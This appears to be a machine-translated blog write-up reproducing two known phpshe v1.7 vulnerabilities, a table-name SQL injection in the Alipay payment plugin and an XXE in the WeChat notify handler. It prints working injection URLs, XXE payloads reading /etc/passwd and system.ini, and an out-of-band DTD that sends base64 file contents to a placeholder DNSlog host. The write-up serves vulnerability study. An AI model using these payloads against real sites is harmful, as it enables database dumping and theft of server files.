Récurrence de la vulnérabilité phpshe v1.7 (injection SQL+XXE)

J'ai étudié le contournement de XSS il y a quelques jours, et je vais étudier en profondeur l'audit de l'injection SQL au cours des deux derniers jours.

Tout d’abord, effectuez un audit automatique

J'ai vu un point de couverture variable suspecté 

Cliquez pour voir qu'il s'avère que le danger caché de register_globals a été éliminé.

En termes simples, si cette configuration est définie sur On, toute valeur de paramètre transmise par le client sera enregistrée en tant que variable globale, ce qui entraînera un risque d'écrasement de variable, ce qui entraînera l'apparition de diverses vulnérabilités, telles que l'omnipotence non autorisée. ou un accès non autorisé.

Si ouvert est détecté, la variable est détruite

J'ai suivi l'idée de l'audit automatique et j'ai trouvé plusieurs points de recommandation, mais aucun d'entre eux n'était disponible... Quand le temps presse, j'auditerai à nouveau.

Ensuite, nous reproduirons les deux vulnérabilités exposées dans cette version.

1. CVE-2019-9762 (injection SQL)

(1) Cause de vulnérabilité

La vulnérabilité se trouve à la ligne 35 de include\plugin\payment\alipay\pay.php

La fonction ci-dessus accepte un paramètre, mais ce n'est pas le paramètre d'origine

Faites attention au fichier commun ci-dessus

 Venez au commun

Il a été constaté que les variables GPC ($_GET, $_POST, $_COOKIES) avaient été réécrites, que divers préfixes avaient été ajoutés et que des symboles d'échappement avaient été ajoutés avant les caractères spéciaux.

La première fonction pe_dbhold permet un traitement sécurisé des paramètres transmis.

 Cette fonction utilise la récursion pour déterminer si davantage de codage d'entité HTML est requis en passant des paramètres dans $exc, et tous les symboles spéciaux sont échappés avant eux.

La fonction order_table au milieu détermine que cette injection SQL est un peu spéciale.

Il déterminera d'abord si le paramètre entrant contient "_". Si tel est le cas, toutes les valeurs avant "_" seront épissées à order_

Sinon, retournez commander directement

Venons-en à l'instruction de requête principale pe_select

Pour faire simple, voici l'épissage des instructions conditionnelles

Le point clé est ci-dessous : le nom de la table épissée utilise des backticks, mais aucune mesure de sécurité n'est prise pour les backticks dans les valeurs de paramètres transmises.

Il y a donc une injection ici dans le nom de la table

(2) Exploitation des vulnérabilités

Étant donné que le code fusionnera la valeur avant le premier « _ » de la valeur du paramètre dans le nom de la table, cela signifie que le POC nécessite un traitement spécial.

Autrement dit, vous devez ajouter "_" dans la partie commentaire poc pour terminer l'épissage du nom de table et l'échappement du code.

Le nombre de champs trouvés par order by est de 12 

Coin inférieur droit du point d'écho

Recherchez le point d'écho spécifique :

/include/plugin/payment/alipay/pay.php?id=pay`%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12%20order%20by%201--%20_

Après cela, vous pouvez vérifier le nom de la base de données et d'autres informations, mais vous ne pouvez pas utiliser de données avec "_" pour la raison mentionnée ci-dessus.

Mais tu peux faire exploser le nom de la table

comme:

/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20and%20exists%20(select*%20from%20***)%23_

2. CVE-2019-9761(XXE)

1. Connaissances de base

1. Tout d’abord, expliquons XML

XML est conçu pour transmettre et stocker des données. La structure générale comprend principalement la partie DTD et la partie document (corps).

La DTD est utilisée pour déclarer des documents XML, qui peuvent être déclarés dans des documents XML et référencés en externe.

(1) S'il est déclaré en interne, il existe un format

<!DOCTYPE 根元素 [元素声明]>

Par exemple

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

En comparant le haut et le bas, la DTD définit respectivement le type de document XML (note, DOCTYPE), les éléments du document (quatre, ELEMENT) et le type d'élément (ELEMENT).

(2) Référencé par le fichier source XML

<!DOCTYPE 根元素 SYSTEM "文件名">

 Le fichier dtd est le suivant

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

Citation externe :

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

   2. Entité DTD (ENTITÉ)

   (1) Entité interne :

<!ENTITY 实体名称 "实体的值">

   Exemple de DTD :

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

 Exemple XML :

<author>&writer;&copyright;</author>

 (2) Entités externes

<!ENTITY 实体名称 SYSTEM "URI/URL">

   fichier dtd :

<!ENTITY writer SYSTEM "http://*******/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://********/dtd/entities.dtd">

  Exemple XML :

<author>&writer;&copyright;</author>

 Il existe également deux styles, les entités générales et les entités paramètres.

Entités générales :

<!ENTITY 实体名称 SYSTEM "实体内容">

Citation:

&实体名称;

 Par exemple:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>

 Entité paramètre :

<!ENTITY % 实体名称 SYSTEM "实体内容">

 Citation:

%实体名称;

Par exemple:

<?xml version="1.0"?>
        <!DOCTYPE a [
        <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
        <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
        %dtd;
        %send;
        ]>
        <a></a>

3.À propos des failles

L'un des points les plus importants de XXE est de savoir si des entités externes peuvent être référencées.

En php, si libxml>2.9.0, il est activé par défaut

libxml_disable_entity_loader(true);

C'est-à-dire que les entités externes ne sont pas analysées par défaut, c'est-à-dire qu'il n'y a pas de vulnérabilité XXE (l'environnement de vulnérabilité suivant peut analyser les entités externes)

2. Causes des vulnérabilités

Accédez à \include\plugin\payment\wechat\notify_url.php

 Localisez ensuite wechat_getxml() et constatez que pe_getxml est renvoyé directement

 Continuer le positionnement

 Trouvé $xml pour obtenir les données de publication d'origine (php://input)

Utilisez ensuite la fonction simplexml_load_string() pour analyser les données XML sans désactiver les références XML aux entités externes.

3. Exploiter les vulnérabilités

Construisez un POC et un fichier dtd pour référence (placez-le sur un serveur de réseau public accessible)

Puisqu'il n'y a pas d'écho ici, les données peuvent être renvoyées vers le serveur DNSlog.

fichier dtd :

<?xml version="1.0" encoding="utf-8"?>
<!ENTITY % all
"<!ENTITY send SYSTEM 'http://your.dnslog/?%file;'>"
>
%all;

poc :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/system.ini">
<!ENTITY % dtd SYSTEM "http://yourhost/1.dtd"> 
%dtd;
]>
<roottag>&send;</roottag>

 La source XML ci-dessus fait référence au fichier dtd externe (test local ici) (notez que la version XML et l'instruction de codage doivent être ajoutées, sinon elles ne peuvent pas être rebondies)

Utilisez ensuite le pseudo-protocole PHP pour charger le contenu du fichier sensible dans l'URL dnslog

Les données codées en base64 seront ensuite accessibles sur la plateforme DNSLOG.

 

 Lors du changement de version de PHP vers un niveau supérieur, libxml>2.9.0, une erreur sera signalée

 

 Indique que l'entité envoyée n'est pas définie, c'est-à-dire que l'entité externe n'est pas analysée.

Je suppose que tu aimes

Origine blog.csdn.net/weixin_51681694/article/details/130325545
conseillé
Classement